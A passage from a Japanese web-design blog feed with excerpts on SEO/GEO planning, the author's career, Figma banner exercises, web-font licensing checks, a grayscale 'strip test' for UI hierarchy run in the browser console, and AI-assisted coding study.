Consoleで順位帯を揃えたうえで、同じページのCTRが施策前後で上がっているかを比較してください。順位が横ばいでもCTRが上がっていれば成功です。 Q. 一般論しか書けないテーマでもGEOに投資すべきですか？ 投資しても回収しにくいため、SEOとAEOに寄せるほうが現実的です。生成AIは要約できる一般的な情報より、他所にない情報を引用元として選びます。自分で計測した数値、現場の失敗談、独自ツールの出力といった一次情報を持っていない段階では、GEOの配分を上げても引用対象になりません。まず一次情報を作れるテーマかどうかを判断してください。 Q. SEO・AEO・GEOの用語の違いはどこで確認できますか？ 本記事は3軸への配分の決め方に絞っているため、用語そのものの定義や違いの比較は別記事にまとめてあります。AIO・AEO・GEO・LLMOの4つを横断して整理した記事があるので、そちらで定義を押さえてから本記事の配分設計に進むとスムーズです。 ### [200記事、そして起業20年目｜継続がすべてを変えた私のWeb制作キャリア](https://codequest.work/200-articles-20years-career/) はじめに：このタイミングで書く理由 この記事で、CodeQuest.workとして200本目の記事になります。そしてふと気づくと、起業してから今年でちょうど20年という節目の年でもありました。 「20年やってきた」という事実に、少しだけ自分で驚いています。うまくいかないことのほうが多かったし、何度も転職や事業の転換を重ねてきました。でも、その中で唯一続けてきたのが、手を動かすこと、考えること、そして学び続けることです。 今回は、そんな「Web制作と向き合ってきた20年」と「記事を200本書いて見えてきたこと」を、自分自身の備忘録も兼ねて記しておきたいと思います。 自動車業界から始まったキャリア 私のキャリアは、Webとはまったく関係のない自動車業界から始まりました。中古車の営業、新車販売、整備部門の立ち上げ、ディーラー運営と、車にまつわるあらゆる業務を経験しました。 2005年には独立し、従業員5名で自社整備工場を持つ会社を設立。アメリカ車の輸入と販売をメインに展開し、3年目には年商6億円を達成しました。 しかし、2008年のリーマンショックが直撃。自動車販売業は一気に冷え込み、経営は一気に難しくなりました。結果として、事業をバイアウト（売却）する判断をし、危機を乗り越えたのが当時の決断です。 経営は楽しいことばかりではなく、むしろ苦しいことの連続でした。でもこの経験があったからこそ、今の自分があります。 保険営業時代：数字と信頼の世界 次に飛び込んだのが保険業界。生命保険・損害保険・ペット保険と、多岐にわたる商品を扱い、個人から法人まで幅広く対応してきました。 ここでも、毎年の目標数字と真剣に向き合い、6年連続で前年比110%の売上を達成。法人契約も250件以上を担当し、地道に信頼を築いていく力を学びました。 一方で、「作る仕事がしたい」「自分の手で価値を生み出したい」という思いは常に心の片隅にありました。 42歳を超えてWebの世界へ 2022年、私はWeb制作の世界へ足を踏み入れました。ちょうど42歳に差しかかる頃です。最初はHTMLとCSSの基礎から始め、WordPress、jQuery、Sass、JavaScript…と少しずつ習得を重ねていきました。 その中で気づいたのが、「書くこと」と「教えること」は、自分の中の理解を深める最強の手段だということ。だからこそ、学習と並行してブログを立ち上げ、記事としてアウトプットし続けてきました。 ありがたいことに、その取り組みが縁となり、現在ではSAMURAIエンジニアのインストラクターとしても活動しています。自分の経験が誰かの学びにつながることは、何よりの喜びです。 地道な積み重ねが、少しずつ形になってきたのは3年目の頃。案件の単価も上がり、ディレクションや講師業、運用・改善まで関われるようになった結果、2024年にはWeb制作3年目で年収1,600万円を超えることができました。現在は4年目を迎え、より本質的な価値提供や長期的な戦略設計に取り組むと同時に、SEOの構造化やコンテンツ設計を軸に、これからのSEOやマーケティングを中心に据えた“次世代Web制作”の在り方を模索しています。従来のWeb制作と新しい価値観を掛け合わせ、新たなジャンルを自ら切り拓く挑戦を続けています。派手さはないかもしれませんが、自分の力で得た数字として、素直に誇れる結果だと思っています。 200記事書いて見えてきた3つのこと 1. 継続は「才能」よりも「習慣」 スキルも知識も、記事も、一夜で身につくものではありません。 記事ひとつひとつが、自分の体験や気づきを可視化してくれる。 それを繰り返してきた積み重ねが、ようやく200という数字になった──そんな感覚です。 どんなに忙しくても「ゼロでは終わらせない」。この積み重ねが、自分を支えてきました。 2. 言語化は最大のトレーニング 学んだことをアウトプットしなければ、いつまでも“使えるスキル”にはなりません。 「自分が何を理解していて、何をまだ理解していないのか」これを見つけるには、人に説明できるようにすることが一番の近道でした。 3. 差別化は「自分の体験」から生まれる Figma模写、GSAP、構造化データ、SEO、CodePen活用…多くの人が同じ技術を学んでいても、「どんな視点で」「どの順番で」学んできたかは人それぞれ。 だからこそ、「体験を含めて書く」ことで、初めてオリジナルの価値が生まれるのだと実感しています。 息子と外食しながらを話して思ったこと つい先日、19歳になる息子とふたりでご飯を食べました。普段は多くを語らない彼が、「父さんって、ずっと仕事してるよね」と言いました。 “働いている姿を見せる”──それだけが正解ではないと思います。でも、継続している背中を見せることには、何か伝えられるものがあるのかもしれません。 仕事とは、生活のためであり、同時に「誰かに価値を届ける手段」でもある。それをこうして言葉にできるようになったのは、やっぱり記事を書き続けてきたからだと思っています。 おわりに：次の100記事、次の10年 CodeQuest.workは、自分が学んだこと、感じたこと、経験したことを言語化して積み重ねる場所です。 最近では、AEOを見据えたUX設計や、AIとの協業による制作補助など、「人に届くWeb」と「AIに理解される構造」の両立を目指した取り組みにも力を入れています。 200記事は通過点。次は300記事を目指しながら、さらに「読まれる」「役に立つ」「届けたい人に届く」コンテンツを発信していきます。 起業から20年。形を変えながらも、学び、作り、伝え続けてきました。このサイトとともに、これからも歩んでいきたいと思います。 ここまで読んでいただき、本当にありがとうございました。 あなたが今、最初の一歩を踏み出すなら、何から始めますか？自分にしか歩めない道を、一歩ずつでも進めば、必ず景色は変わります。 ### [Figma模写 #8｜自分だけの広告デザインを作ろう！3色×コンセプト練習](https://codequest.work/figma-mosha-08-banner-layout/) 1. 模写から「考えるデザイン」へ Figmaでの模写は、Web制作初心者にとって「良いデザインに触れながら、再現力を高められる」最高の練習方法です。しかし、模写だけでは終わりません。次のステップは、「自分で考えてデザインを組み立てる」こと。 今回は、Figmaに公開されているモバイル広告テンプレートを題材に、まず模写 → そして応用演習として自分でコンセプトを決めて、配色・画像・フォント選定を行うトレーニングを行っていきます。 2. 使用したFigmaテンプレート バナーサイズが豊富に用意されており、レイアウトの変化や圧縮／拡張表現の違いも学べます。 figma 3. STEP1：模写しよう まずは「完全模写」からスタートしましょう。 どのサイズでもOK 初心者には「600×500」や「320×480」がおすすめ 細部をしっかり見る 文字のサイズ感 ボタンの角丸や影 アイコンと文字の距離 模写の目的は「観察力」と「再現力」を高めることです。 4. STEP2：自分でコンセプトを決めて作ってみよう ここからが応用演習です。今度は、元テンプレートをベースに「自分で1つの広告コンセプトを設定」して、それに沿ったバナーをFigmaで作成してみましょう。 以下の4ステップで制作を進めます。 ステップ内容例① コンセプト決定何の広告か？誰に向けて？例：猫の癒やしゲーム／英単語アプリ② 3色配色の選定メイン／アクセント／背景色例：#1E1E2F / #F94C66 / #FFFDF8③ 画像やアイコン選び写真／イラスト／アイコン例：Unsplash、humaaans、Icons8など④ フォント選定タイトルと本文で使い分け例：Zen Kaku Gothic / Montserratなど 5. 配色とフォントを選ぶコツ 🎨 配色の選び方 主役色（メイン）を1色決めたら、残りは補助色と背景 色数は「3色」に絞るとバランスが取りやすい トーン（彩度と明度）を揃えると統一感が出やすい ✍️ フォントの選び方 タイトル向け：太め・印象的（例：Anton, Bebas Neue） 本文向け：可読性重視（例：Noto Sans JP, Inter） 和文なら「Zen Kaku Gothic」が汎用性高くおすすめ 6. バナーの構成と見せ方のコツ アイキャッチ（画像 or イラスト）を中央または上部に配置 テキストの優先順位を決めて配置（タイトル > 説明 > CTA） 視線の流れを意識して、CTAボタンは最下部に 要素数を増やしすぎない（伝えるメッセージは1つに絞る） 7. 発展：複数サイズ展開で「調整力」を鍛える 1つのコンセプトで「異なるバナーサイズ」に展開してみましょう。 例：縦長スマホ用（320×480）＋ 横長ウェブ広告用（728×90） 同じ世界観を、サイズによってどう見せ方を変えるか？ この作業は、実務に直結する「対応力・引き算力・優先順位設計力」が鍛えられます。 8. まとめ：模写は出発点、デザインは思考力 Figmaでの模写は「受け取る学習」ですが、そこから一歩進んで「自分の頭で設計し、手を動かす」ことができれば、現場で活きる力が育ちます。 バナー広告という限られたサイズの中で、 何を伝えるか？ どう見せるか？ 誰に届けるか？ これらを考えながらデザインすることが、UIデザインやWeb制作のスキルに確実につながります。ぜひ、自分だけの「3色バナー広告」づくりにチャレンジしてみてください！ よくある質問（FAQ） Q. Figmaで広告バナーをデザインする際のポイントは？ 情報の優先順位を明確にし、最も伝えたいメッセージ（キャッチコピー）を最大・最目立つ配置にします。3色以内の配色でブランドカラーを軸にまとめ、余白を十分に取って視認性を確保します。CTAボタンはアクセントカラーで配置し、ボタンのテキストは行動を促す動詞（「詳しく見る」「今すぐ申し込む」）を使います。 Q. コンセプトに合った配色の選び方は？ デザインのコンセプト（信頼感・楽しさ・高級感・自然・先進性など）に合った色の心理効果を活用します。例えば青系は信頼・誠実、赤系は情熱・緊急性、緑系は自然・安心、紫系は高級感・創造性を連想させます。コンセプトキーワードからメインカラーを決め、そこから類似色または補色でサブ・アクセントカラーを選定するのが効率的な手順です。 ### [【初心者向け】Webデザインのためのフォント選び完全ガイド｜迷わない選び方とおすすめ書体](https://codequest.work/font-choice-guide/) Webサイトでその書体を使ってよいかどうかは、印象や好みではなく「入手経路」と「ライセンス原本の記述」の2点で決まります。入手経路とは、OSにバンドルされている書体を指名するのか、フォントファイルを自分のサーバーに置いて配信するのか、Google FontsなどのCDNから配信するのかという違いのことです。そして配布元のライセンス文書に「Webフォントとしての配信（embedding／webfont）を許す記述」があるかどうかが合否のラインになります。 フォント選びの記事は世の中に大量にありますが、その多くは「この書体はやさしい印象」「この書体は信頼感がある」という印象の話で終わります。ところが実務で本当に事故になるのは印象のミスマッチではなく、選んだあとで「その書体はそもそも配信できない」と分かるケースです。カンプでヒラギノ角ゴを組んで承認まで通したのに、実装段階でWindowsユーザーには一切表示されないと判明する。無料と書かれていたフォントを自社サーバーに置いたら、配布元のライセンスにWeb配信の許諾が書かれていなかった。こうした差し戻しは、選ぶ順番を変えるだけで防げます。 この記事では、書体名のカタログではなく「候補を配信可否で先に絞り込む手順」を扱います。読み終えたあと、いま候補に挙がっている書体を自分で判定できる状態になることがゴールです。記事の後半には、ブラウザだけで完結する検証ステップと合否ラインの表を用意しました。 なお、本記事に記載したフォントの収録状況・ライセンス区分・配信可否は、すべて2026年8月1日時点で配布元の一次資料を直接確認した内容です。該当箇所には出典へのリンクを置いているので、判断の前には必ず最新の表示をご確認ください。 フォントは「印象」より先に「配信できるか」で絞る フォント選びを「印象 → 実装」の順で進めると、印象で選んだ候補が実装段階で全滅することがあります。逆に「配信できる候補を洗い出す → その中から印象で選ぶ」という順にすると、選定にかけた時間が無駄になりません。最初に絞り込みをかけたほうが、結果的に候補を見る目も速くなります。 この記事が答えること・答えないこと フォントまわりの疑問は大きく4つに分かれます。この記事が引き受けるのは、そのうち「使ってよいかの判定」だけです。残りは別の記事に分けてあるので、必要な入口から進んでください。 知りたいこと読むべき記事この書体をうちのサイトで使ってよいか（配信可否・ライセンス）この記事CSSでどう書くか（font-familyの並べ方・名前ゆれ・font-display・検証）CSSのフォント指定ガイド文字サイズ・行間・行長などの数値をどう決めるかタイポグラフィの設計ガイド実際にどの書体がおすすめか（具体的な書体名のカタログ）Google Fonts／Adobe Fontsのおすすめ記事 つまりこの記事には、書体名と印象を並べた一覧表は載せません。書体名のカタログは用途ごとに更新頻度が高く、独立した記事のほうが正確に保てるためです。ここでは、そのカタログを見る前に立てておくべき判断基準だけを扱います。 判定に使う2つの軸 判定の軸は2つだけです。どちらも、書体の見た目とはまったく関係がありません。 入手経路：その書体は「閲覧者の端末に元から入っているもの」なのか、「こちらが配信するもの」なのか。配信するなら、自分のサーバーからか、外部のCDNからか。 ライセンス原本の記述：配布元が出しているライセンス文書に、Webフォントとしての配信を許す記述があるか。まとめ記事やSNSの伝聞ではなく、配布元の文書そのものを見る。 この2軸を先に通すと、候補は驚くほど減ります。そして減ったあとに残った候補は、少なくとも「本番で配信できないことが後から分かる」というリスクを抱えていません。 ▶ デザインの基礎を体系的に整理したい方はこちら 入手経路の3分類｜OSバンドル・セルフホスト・CDN配信 Webページで文字を表示する方法は、突き詰めると3種類しかありません。この分類を先にはっきりさせないと、ライセンスの読み方も検証の手順も定まりません。 OSバンドル｜端末に入っている書体を指名する CSSで書体名を書くだけで、フォントファイルは一切配信しない方式です。閲覧者の端末にその書体が入っていれば表示され、入っていなければ次の候補にフォールバックします。 この方式には、ライセンス上のリスクがほぼありません。こちらは何も配信していないため、フォントの再配布にも埋め込みにも当たらないからです。転送量も増えず、表示の遅延も起きません。代わりに引き受けるリスクが1つあります。その書体が閲覧者の端末に入っている保証がないことです。 セルフホスト｜自分のサーバーにフォントファイルを置く フォントファイル（woff2など）を自分の管理下のサーバーに置き、そこから閲覧者に配信する方式です。表示は端末環境に左右されず、意図した書体が確実に出ます。 ただし、この方式は「フォントファイルを不特定多数に配布している」状態にあたります。ライセンス上、もっとも慎重に確認が必要なのがこの経路です。「デザインツールで使えたから」「PCに入っていたから」という理由でファイルをサーバーに置くのは、判断としては最も危険な部類に入ります。 CDN配信｜提供元のサーバーから配る Google FontsやAdobe Fontsのように、提供元が用意した配信サーバーを経由して読み込む方式です。フォントファイル自体は自分で持たず、提供元が定めた利用規約の範囲内で使います。 配信の許諾については提供元が明示しているため、判断は3経路のなかで最も簡単です。ただしこの経路には固有のリスクがあります。提供元のサービスや自分の契約状態に、表示が依存することです。サブスクリプション型のサービスでは、契約が終われば配信も止まります。 3経路の比較 経路フォントファイルを配信するか表示の確実性ライセンス確認の重さ主なリスクOSバンドルしない端末依存（保証なし）軽い閲覧者の環境に無いと別の書体で表示されるセルフホストする（自分のサーバーから）高い最も重い許諾のないファイルを配布してしまうCDN配信する（提供元のサーバーから）高い中くらい契約終了・サービス変更で配信が止まる 実務では1サイトのなかでこの3経路が混ざります。混ざること自体は問題ありませんが、いま話している書体がどの経路なのかを常に1つに特定できる状態にしておく必要があります。「Noto Sans JPを使う」だけでは判断材料になりません。「Noto Sans JPをCDN配信で使う」なのか「セルフホストする」なのかで、確認すべき文書が変わるからです。 OSバンドルは「あると思っていたら無い」が起きる OSバンドルを前提にした指定は手軽ですが、「入っているはず」という思い込みがそのまま表示崩れになります。ここは伝聞ではなく、OS提供元が公開している収録一覧で確認できます。 Windows 11で常時入っている和文フォントは限られる Microsoftが公開しているWindows 11のフォント一覧を読むと、収録は「ベースとして常時入るもの」と「Feature On Demand（FOD）＝追加インストール扱いのもの」の2階層に分かれています。日本語フォントの多くは後者の「Japanese Supplemental Fonts」に置かれています。 区分収録されている和文フォント（一部）ベース（常時）Yu Gothic（Light／Regular／Medium／Bold）、Yu Gothic UI、MS Gothic、MS PGothic、MS UI GothicJapanese Supplemental Fonts（FOD）Meiryo、Meiryo UI、Yu Mincho、MS Mincho、BIZ UDGothic、BIZ UDMincho、UD Digi Kyokasho ここで注意したいのがメイリオ（Meiryo）です。日本語Webの本文フォントとして長く筆頭に挙げられてきた書体ですが、Windows 11のベース一覧には含まれておらず、Japanese Supplemental Fonts側に収録されています。同様に游明朝（Yu Mincho）もFOD側です。日本語環境として使っていれば実際には入っていることがほとんどですが、「Windows 11なら必ずある」と言い切れる和文はYu GothicとMS Gothic系だとみておくのが安全です。出典はMicrosoft Learn「Windows 11 font list」で、2026年8月1日時点の掲載内容を確認しています。 実務上の結論はシンプルです。OSバンドルを当てにする場合、和文の第一候補にメイリオを置かない。置くとしても、その後ろにYu Gothicなど常時入る書体を必ず並べてフォールバックを作ります。 ヒラギノ角ゴはWindowsとAndroidに存在しない ヒラギノ角ゴはmacOSとiOSにバンドルされる書体で、WindowsやAndroidには入っていません。Macで制作していると常に美しく表示されるため、その表示が全ユーザーの見え方だと錯覚しやすい典型例です。 さらに重要なのが、ヒラギノをNoto Sans JPと同列に扱えないという点です。Noto Sans JPはCDN配信もセルフホストも許諾された書体ですが、OSにバンドルされる書体は「その端末上での表示や印刷」を前提に提供されるものであり、第三者へWebフォントとして配信することを許す記述は公開文書で確認できません。この記事の判定ルールは「記述が無いものは許可されていないと扱う」ですから、ヒラギノをセルフホストする選択肢は最初から候補外になります。 つまりヒラギノは、OSバンドル経路でMacユーザーにだけ届く書体として扱うのが正確です。「Macでは美しく、Windowsでは別の書体になる」という前提を関係者と共有できるなら使えますし、それが許されないなら最初から候補から外します。 同じ書体でもOSによって名前が違う OSバンドル経路には、もう1つ落とし穴があります。同じ游ゴシックでも、Windowsでは Yu Gothic（半角スペースあり）、macOSでは YuGothic（スペースなし）と名前が異なります。片方しか書いていないと、もう一方の環境では指定が効きません。 選定の段階で必要な認識は「OSバンドルを使うなら名前ゆれの対応が要る」ということまでで十分です。具体的な書き方や候補の並べ方は実装側の話なので、次の記事にまとめてあります。 ▶ CSSでのfont-family指定と名前ゆれの対処はこちら ライセンスの読み方｜合否は「Web配信を許す記述」で決まる フォントのライセンス文書は難解に見えますが、Web制作で確認すべき点はごく限られています。「配信・埋め込みを許しているか」「商用利用を許しているか」「改変や再配布に条件はあるか」の3点です。ここを押さえれば、大半の書体は数分で判定できます。 SIL Open Font Licenseは埋め込みを明示的に許している フリーフォントで最も多く使われているのがSIL Open Font License（OFL）1.1です。公式のライセンス本文には、許諾される行為として use, study, copy, merge, embed, modify, redistribute, and sell が列挙されており、埋め込み（embed）と再配布（redistribute）が明示的に含まれます。したがってセルフホストでのWeb配信も許諾の範囲です。 制約として押さえるのは主に2つです。1つはフォント単体で販売してはいけないこと（ソフトウェアなどに同梱して販売するのは可）。 ### [【Figma練習OK】3色配色で作るシンプルで伝わるバナーの作り方](https://codequest.work/figma-3color-banner-design/) 【Figma練習OK】3色配色で作るシンプルで伝わるバナーの作り方 はじめに｜配色に悩むあなたへ 「バナーを作るとき、配色がごちゃごちゃしてしまう」「センスに自信がなくて、毎回色選びで止まってしまう」そんな悩みは、“色数を絞る”ことで驚くほど解決できます。 この記事では、Figmaを使って3色だけでバナーをデザインする方法を紹介します。初心者でも迷わず、かつプロっぽく見える配色ルールとレイアウトのコツを一緒に学んでいきましょう。 1. なぜ「3色」だけでデザインするのか？ バナーをうまく見せるコツは、「色数を減らすこと」。配色で迷う人の多くは、色が多すぎて調和が取れていないだけです。 3色で構成することで、次のようなメリットがあります： まとまりやすく見た目が整う 伝えたい要素が引き立つ 再現性が高く、誰でもマネできる 「まず3色で作る」ことは、配色トレーニングの最初の一歩に最適です。 2. バナー構成は「背景・文字・アクセント」の3役で考える 3色配色では、色に役割を与えることが成功のカギです。 色の役割内容例背景色全体のベースとなる色（白・淡色系が多い）文字色メインテキスト用の濃い色アクセント色ボタンや重要語句など目立たせたい部分 たとえば、 背景：#F9F9F9（淡いグレー） 文字：#333333（濃いグレー） アクセント：#FF6F61（オレンジ系） など、使う色を事前に固定すると、デザインがブレません。 3. 配色パターンの選び方（おすすめ3パターン） パターンA：ナチュラル系（やさしい印象） 背景：#F6F6F6 文字：#2D2D2D アクセント：#5AB2A5（グリーン系） パターンB：ビジネス系（信頼感・安定感） 背景：#F0F4F8 文字：#1C1C1C アクセント：#0D6EFD（ブルー） パターンC：女性向け・ポップ 背景：#FFF6F6 文字：#3D3D3D アクセント：#F75C94（ピンク） 気に入ったパターンをひとつ選び、Figmaで再現してみましょう。 4. Figmaで3色バナーを作ってみよう（練習用レイアウト） Figmaで再現しやすいバナー構成は以下のとおり： 要素色の役割見出しテキスト文字色補足文や説明文字色（薄めでも可）ボタン（CTA）アクセント色（背景） 見出しは16〜20px程度 CTAボタンは丸み＋強調色 背景と余白で読みやすさを確保 1つ作ってみると、「3色ってこんなに整うんだ」と驚くはずです。 5. まとめ｜色は「数」ではなく「役割」で選ぶ センスは「選ぶ力」ではなく「減らす力」。色数を減らし、役割を明確にしたとき、デザインは一気に洗練されます。 「3色配色 × Figma」は、配色初心者にとって最高の練習法。 まずは1パターン試してみてください。きっと色選びに対する自信がついてきますよ。 おすすめ参考書籍 デザイン理論をより深く学びたい方に、実務でも役立つ定番書籍を3冊厳選しました。 なるほどデザイン 目で見て楽しむデザインの本。 [ 筒井　美希 ]価格：2,200円（税込、送料無料) (2026/5/10時点) 楽天で購入 ノンデザイナーズ・デザインブック第4版 [ ロビン・ウィリアムズ ]価格：2,398円（税込、送料無料) (2026/5/10時点) 楽天で購入 見てわかる、迷わず決まる配色アイデア3色だけでセンスのいい色 [ ingectar-e ]価格：1,980円（税込、送料無料) (2026/5/10時点) 楽天で購入 よくある質問（FAQ） Q. Figmaでバナーを作る基本手順は？ まずフレームツールで目的サイズのカンバスを作成します。背景色を設定し、テキストツールでキャッチコピーとサブテキストを配置します。画像を挿入してレイヤー順序を調整し、Auto Layoutで要素間の余白を統一します。最後に「Export」からPNG/JPG/SVGで書き出します。3色以内のシンプルな配色にすることで、初心者でもまとまりのあるバナーが作成できます。 Q. 効果的なバナーのキャッチコピーの作り方は？ ターゲットの悩みや欲求に直接訴えかける一文（10〜15文字以内）を作成します。「〜する方法」「〜でお悩みの方へ」「今だけ〜」など、ベネフィットや緊急性を明確に伝える表現が効果的です。フォントサイズはバナー内で最大にし、色のコントラストで目立たせてください。 ### [構造→視覚→文字を守れたかを検品する｜色・ぼかし・強弱の3テスト](https://codequest.work/ui-design-structure-visual-typography/) 「UIは構造→視覚→文字の順で組み立てる」という進め方は、手を動かす前の指針としては役に立ちます。ところが、実際に組み終わったあとに「その順番を守れたのか」を確かめる方法がほとんど語られません。順番を守ったつもりでも、配色を詰めている途中で優先順位が入れ替わり、最終的に「色が強い要素」が一番目立つ画面になっている――これは珍しいことではありません。 構造→視覚→文字の順で組めたかどうかは、完成したUIから「色」「ぼかし（＝細部）」「強弱」を順に剥ぎ取り、それでも情報の優先順位が読み取れるかで判定できます。剥いだ状態で優先順位が崩れるなら、その順位は構造ではなく装飾が作っていたということです。判定はブラウザの開発者ツールだけで完結し、デザインツールも追加のプラグインも要りません。 この記事では、その剥ぎ取りテストを3本に整理します。それぞれ「何を剥ぐか」「何が合格か」「落ちたら最初に何をするか」まで書きました。判定の根拠にはW3CのWCAG 2.2、Nielsen Norman Group、Apple Human Interface Guidelines、Material Design 3を使っています。掲載しているコードはすべて実際のブラウザ（Chromium 151）で実行し、出力を確認したものです。 この記事で「構造・視覚・文字」が指すもの 3つの言葉は人によって指す範囲が違います。判定の話をする前に、この記事での定義を1つに固定します。 段階この記事での中身この記事では扱わないもの構造要素の配置・グルーピング・情報の優先順位サイト全体のページ階層（情報設計）視覚色・コントラスト・画像・装飾配色理論とパレットの組み方文字タイポグラフィ（サイズ・太さ・行間・階層比）コピーライティング（文章そのもの）3段階の定義（本記事の整理） とくに紛らわしいのが「文字」です。ここでは文字＝タイポグラフィとし、コピーライティング（何と書くか）は範囲外とします。文言の良し悪しは剥ぎ取りテストでは判定できないためです。 もう一つ先に断っておきます。「構造→視覚→文字」という語順そのものを規定した公的な標準や一次資料は存在しません。これは当サイトの整理です。ただし「装飾に入る前に階層を決めておく」という原則には裏付けがあります。Nielsen Norman Groupの「Visual Hierarchy in UX: Definition」（Kelley Gordon、2021年1月17日／2026年8月2日確認）は、結論部で「デザインを始める前に、ビジュアルからいったん離れてコンテンツの階層と伝えたい要点を定義せよ」と述べています。本記事はこの原則を、着手前の心構えではなく着手後の判定手順に置き換えたものです。 着手する前にウィンドウ幅・コンテンツ幅・カラム数といった数字を決めておく話は別記事にあります。デザインカンプ前に決めるWebデザインのルールで先に土台を決めてから、この記事の判定に進むと接続がきれいです。 順番を守れたかは、作り終えてからしか分からない 着手前のチェックリストは「これから何をするか」の宣言です。宣言は守れているかどうかを自分では証明しません。実際の画面は、宣言のあとに入れた画像・実データ・長い見出し・アイコンによって、宣言とは違う優先順位を持ってしまいます。 Nielsen Norman Groupの同記事は、Spotifyの画面をぼかした例を挙げたうえで「テンプレートを設計するだけでは足りない。そこに入るコンテンツも考慮しなければならない」と書いています。強い色の写真1枚が、意図していない要素をページの主役にしてしまう。テンプレートの設計が正しくても、中身が入った瞬間に階層が崩れるという指摘です。 だから判定は、完成した実物に対して行う必要があります。ここで使う3つのテストは、いずれも「情報を減らして、それでも残るものを見る」という同じ発想です。減らしても優先順位が残るなら、その順位は構造が作っている。減らした瞬間に消えるなら、装飾が作っていたということになります。 なお、この考え方はアクセシビリティの達成基準と根が同じです。色が見えない・文字を拡大している・支援技術で読んでいるといった状況は、どれも「一部の手掛かりが使えない状態」だからです。制度としての全体像を知りたい場合はWebアクセシビリティの基本｜WCAG 2.2と2024年法改正への対応を先に読んでおくと、以下の根拠が読み解きやすくなります。 剥ぎ取りテストの3層と、それぞれ何を検出するか 3本のテストは剥ぐ対象が違い、露呈する欠陥も違います。まず全体像を押さえます。 テスト剥ぐもの露呈する欠陥色剥ぎ色相・彩度優先順位を色だけで作っていたぼかし文字と細部の判読性グルーピングと視覚的重心のズレ強弱剥ぎサイズ・太さ・文字色見出しと本文の区別が装飾頼み3テストの守備範囲 それぞれの根拠と合格条件は次のとおりです。 テスト根拠にする基準合格の条件色剥ぎWCAG 2.2 達成基準 1.4.1「色の使用」最初に目に入る要素が入れ替わらないぼかしNN/g「The Squint Test」半径5pxと10pxで意図どおりの重心強弱剥ぎWCAG 2.2 達成基準 1.3.1「情報及び関係性」どこが見出しか読み取れる根拠と合否ライン（各出典は2026年8月2日に取得して確認） 準備は共通です。判定したいページをブラウザで開き、開発者ツール（WindowsならF12、macOSならCommand+Option+I）を開いてConsoleタブを選びます。以下のCSSはConsoleに貼るのではなく、Elementsタブで html 要素にスタイルを追加するか、Consoleで次の1行を実行して差し込みます。 document.head.insertAdjacentHTML('beforeend', '<style id="strip-test">html { filter: grayscale(1) !important; }</style>'); この方法で入れたスタイルはページのCSSファイルを一切書き換えません。document.getElementById('strip-test').remove() で取り消せますし、リロードすれば元に戻ります。本番サイトに対してそのまま実行しても保存されることはありません。 テスト1｜色を剥いで優先順位が残るか 最初に剥ぐのは色です。ページ全体をグレースケールにして、それでも「最初に目が行く要素」が変わらないかを見ます。 当て方 差し込むCSSは1行です。 html { filter: grayscale(1) !important; } 正しく当たっていれば、Consoleで getComputedStyle(document.documentElement).filter を実行すると grayscale(1) が返ります。何も返らない（none のまま）なら、サイト側のCSSに負けているので !important が付いているかを確認してください。 合否ライン グレー1色にした状態で画面を数秒だけ見て、目が最初に止まった要素を1つ書き留めます。それが色付きのときと同じで、かつ意図した最重要要素なら合格です。順位が入れ替わったなら、その優先順位は色が作っていたことになります。判断が割れるときは、色付きの状態と並べたスクリーンショットを別の人に見せて、それぞれ「最初に目が行った要素」を1つだけ挙げてもらうと差が出ます。 この合否ラインはW3CのWCAG 2.2 達成基準1.4.1に対応します。原文は「色が、情報を伝える、動作を示す、反応を促す、又は視覚的な要素を判別するための唯一の視覚的手段になっていないこと」です（W3C「Understanding SC 1.4.1: Use of Color」、2026年8月2日取得）。色を使ってはいけないという意味ではありません。色が唯一の手掛かりになっていると失格という意味です。 Nielsen Norman Groupも同じ立場で「視覚的階層を伝えるのに色だけに頼ってはならない。色覚に特性のある人は、特定の色の組み合わせの違いを知覚できないことがある」と書いています。「CTAボタンは目立つ色にする」という定番の指針は、それ自体は誤りではないものの、色以外の手掛かりを1つ以上持たせて初めて成立すると読み替えてください。 落ちたときに足すもの 色を剥いだら主役が消えた場合、真っ先にやりたくなるのは「もっと目立つ色にする」ですが、それでは同じテストにまた落ちます。足すのは色以外の手掛かりです。 サイズを上げる（面積で差をつける） 周囲の余白を増やして孤立させる 枠線・背景の面を与えて領域として区切る アイコンや矢印など形の手掛かりを添える ラベルの文言そのものを具体的にする 色そのものを見直す段階に来たら、色彩設計の基本｜Webデザインに役立つ配色理論とカラーパレット実装例で配色の組み立て方を確認してください。この記事は色を「選ぶ」ことは扱いません。 「色だけリンク」は機械的に見つけられる 色剥ぎテストで最も再現性の高い不合格が、本文中の「下線のないリンク」です。W3Cはこれを失敗事例F73として明示的に挙げています（2026年8月2日取得）。文中のリンクから下線を外し、色の差だけを残すと失格になる、という内容です。 ただしF73には条件があります。同じ色相でも明度差（コントラスト比）が3:1以上あれば通り、太字にしてあれば「太字は色に依存しない」ため失格になりません。この条件をそのまま実装したのが次のスニペットです。Consoleに貼って実行します。 ### [AI時代のコーディング学習法｜ClaudeCode・Cursor・Copilotで実力をつける](https://codequest.work/ai-coding-learning-method/) AI時代のコーディング学習法｜バイブコーディングからClaudeCode活用まで AIエージェント時代、コーディング学習の常識は変わった 「AIを使ったらズルでは？」──そんな疑問を感じたことがある方も多いかもしれません。 しかし今や、GitHub Copilot・Cursor・ClaudeCodeなどのAIエージェントは、学習者の成長を支援する"相棒"として広く使われ始めています。 むしろ、AIと共に学ぶスタイルは現場での開発力を育てるための実践的なトレーニングになりつつあるのです。 バイブコーディングとは？AI時代の新しい開発スタイル バイブ（vibe）とは"雰囲気"や"ノリ"を意味します。バイブコーディング（Vibe Coding）とは、明確な仕様書や設計図がなくても、自然言語の指示でAIにコードを書かせる開発スタイルです。提唱者の原義では「AIが出した差分を読まずに受け入れる」ところまでを指しており、実務で使われている用法とはずれがあります。その差と、AIのコードを読まずに受け入れてよいかの判定手順はvibe coding とは？原義と実務用法の違いにまとめました。 本記事では、このスタイルを学習にどう使うかに絞って扱います。重要なのは、AIの出力をそのまま使うのではなく、出力されたコードを「読んで理解する」プロセスを組み込むことです。 バイブコーディングのメリットとデメリット ここでは学習者から見た損得を整理します。開発スタイルとしての定義や、受け入れ判定の実務手順はvibe coding とは？原義と実務用法の違いを参照してください。 メリット メリット内容スピード設計に時間をかけず、即実装・即確認ができる手軽さ専門用語がわからなくても、自然言語で試せる試行錯誤しやすいフィードバックループが短く、学びに繋がる逆学習ができるAIの出力をもとに、構文や書き方を理解できる デメリットと注意点 デメリット内容コード理解が浅くなるリスク自分で書かないため、理解が追いつかない可能性品質のバラつきAIの出力にエラーや不正確な処理が含まれることもあるブラックボックス化出力されたコードの意味が分からず放置されやすい 